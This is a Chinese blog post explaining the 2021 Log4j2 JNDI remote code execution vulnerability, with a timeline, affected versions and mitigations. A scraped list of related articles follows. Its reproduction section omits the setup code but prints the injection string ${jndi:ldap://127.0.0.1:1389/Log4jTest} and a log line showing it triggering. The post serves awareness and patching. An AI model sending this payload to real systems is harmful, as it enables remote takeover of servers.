2021年12月10日凌晨前,网上曝出了 log4j 的核弹级漏洞,这种漏洞超级高危,操作简单,利用方便,适用范围广,可以直接任意代码执行接管你的服务器

此处思考曝光者凌晨曝光的原因,或许选择凌晨曝光,想着无数工程师半夜起来紧急修复,让 TA 产生了变态的快感

我知道你们是想看什么的,就是想看如何演示,不过还是先看下如何修复,提高下安全意识。

0x01. 漏洞情况

Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

这里贴下漏洞公开级别。

漏洞细节 漏洞PoC 漏洞EXP 在野利用
公开 公开 公开 存在

通过网上公开资料,这个漏洞的细节已经完全公开,这里简单演示,让大家了解漏洞情况,尽快安全升级。

根据网络公开新闻,可以梳理出以下时间脉络:

  • 2021年 11 月 24 日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

  • 2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar

  • 2021年12月10日,log4j2 发布修复包 log4j-2.15.0-rc2.jar

  • 2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过请及时更新至 Apache Log4j 2.15.0-rc2 版本

实际受影响范围如下

Apache Log4j 2.x < 2.15.0-rc2

0x02. 安全建议

  1. 排查应用是否引入了 Apache log4j-core Jar 包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 github.com/apache/logg…

  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

  3. 临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

0x03. 漏洞复现

以下测试,只做学习分析之用,不要于其他用途!单机演示,所有地址都是 127.0.0.1

本来不准备画图的,但是很多同学以为注入漏洞就是简单的运行网上的 ${jndi:ldap://127.0.0.1:1389/Log4jTest} ,我觉得还是有必要画个图简单说明一下, 一个简单的攻击链路步骤图,画的匆忙见谅。

3.1. 环境模拟 - 受害者服务搭建

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的直接微信搜索程序猿阿朗交流,

3.2. 环境墨迹 - 攻击者模拟

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的直接微信搜索程序猿阿朗交流,

3.3. 测试

受害者小白服务再次运行,原本只简单打印一行日志,现在多了一行说明信息。

无害测试,没有攻击性,linux/mac 创建文本:xxxyyyzzz.txt;windows 弹出计算器。最后求关注,公众号:程序猿阿朗
20:21:57.780 [main] ERROR Log4j2 - params:${jndi:ldap://127.0.0.1:1389/Log4jTest}
复制代码

同时运行项目目录多了一个文件 xxxyyyzzz.txt

如果你是在 windows 上运行测试,那么会弹出一个计算器。

一如既往,文章中的代码存放在:github.com/niumoo/lab-…

<完>

2021年末爆发 Log4j 的史诗级Bug漏洞?5分钟教你如何手把手实现相关推荐

  1. 冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全,赶快收藏吧

    大家好,我是冰河~~ 周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞 ...

  2. 刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗?

    发生什么事了 Log4J 是一个应用非常广泛的Java库,就在前两天的2021年12月10日,Log4J的一个安全漏洞被公布了.那天正好是周五,很多程序员都在计划着怎么度过一个愉快的周末,不料这个安全 ...

  3. Apache Log4j 远程代码注入漏洞

    漏洞说明 2021年12月9日,Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题,攻击者攻击难度极低.由于 Apache Log4j2 某些功能存在递归解析功 ...

  4. Apache Log4j任意代码执行漏洞安全风险通告第三次更新

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...

  5. 开源高性能 RISC-V 处理器“香山”国际亮相;Apache Log4j 远程代码执行漏洞;DeepMind 拥有 2800 亿参数的模型 | 开源日报

    整理 | 宋彤彤 责编 | 郑丽媛 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...

  6. Apache Log4j 远程代码执行漏洞直接让安全圈过年~

    在此声明:本文章的目的是让大家参考此漏洞的修复方法切记不要批量刷SRC,否则后果自负与本人无关, 安全圈直接过年了 苹果 百度 shiro从2014年-2022年坚持到了现在,log4j是下一个能养活 ...

  7. Bash bug漏洞目前最新最全的修复方式

    为什么80%的码农都做不了架构师?>>>    Bash bug漏洞已经爆过2天时间,安全狗安全团队已经第一时间向广大用户进行预警.但由于Bash在Linux系统的广泛应用导致众多L ...

  8. (转)惨烈:1个Bug,45分钟损失4亿多美元

    惨烈:1个Bug,45分钟损失4亿多美元 2016-09-29 程序员的那些事 http://mp.weixin.qq.com/s?__biz=MjM5OTA1MDUyMA==&mid=265 ...

  9. Flink等多组件受影响,Apache Log4j曝史诗级漏洞

    全球知名开源日志组件Apache Log4j被曝存在严重高危险级别远程代码执行漏洞,攻击者可以利用该漏洞远程执行恶意代码.据阿里云通报,由Apache Log4j2某些功能存在递归解析功能,攻击者可直 ...

  10. Log4j“核弹级”bug修复

    原文链接:https://www.jylt.cc/#/detail?id=7a5e2df603b098b9a08bc1b71ca80a15 2021年12月10日晚上,许许多多开发小伙伴都要被迫加班了 ...

最新文章

  1. java数据类型之间的转化
  2. 寄存器映射与直接操作寄存器
  3. 软键盘挡住EditText
  4. 网络编程之shutdown() 与 close()函数详解
  5. python正弦波和等腰三角波_正弦波脉宽调制(SPWM)原理
  6. MarkDown总结(适合初学者快速入门)
  7. 液晶显示模块的分类和基本知识
  8. android客户端下载图片的方法
  9. java户名的正则表达式_java – 用于验证用户名的正则表达式
  10. PHP错误处理注册机制
  11. Atitit 图像指纹识别匹配sift算法 atlks总结
  12. origin8.1中文乱码设置方法
  13. 浅谈视频编解码器的工作原理和应用领域
  14. 开源项目工时系统_GitHub - fjp203/timemaker: 定额工时管理系统
  15. jQuery 教程 jQuery入门学习教程
  16. 【论文阅读】Deep Learning for Encrypted Traffic Classification: An Overview(深度学习方法进行加密流量分类综述)
  17. 永川机器人博览会门票_14日 又到永川来看机器人哦
  18. 使用Rancher的RKE部署Kubernetes要点
  19. [乡土民间故事_徐苟三传奇]第八回_张财主误喊“你来看”
  20. 网易云课堂个性化推荐实践与思考

热门文章

  1. 同时新增一个订单与多个明细的方法
  2. 自动弹出的html,360浏览器自动弹出网页怎么解决?
  3. 如何写出一份让面试官刮目相看的高质量简历
  4. 阿肯色大学计算机,阿肯色大学怎么样?
  5. docker英文文档和中文文档
  6. 【js与jquery】产品详情页面常用的js特效
  7. 计算机xp怎么做备份,如何备份xp系统电脑所有系统文件
  8. 几何平均数,代数平均数: 调和是什么意思,调和平均数 点火公式 平面曲线弧长(代数方程,参数方程,极坐标方程) 旋转曲面面积 旋转体体积 拉格朗日乘数法求最值;
  9. Mockplus 3.2前瞻,五大特色功能让你惊喜!
  10. WS以及NW小世界网络的生成(MATLAB)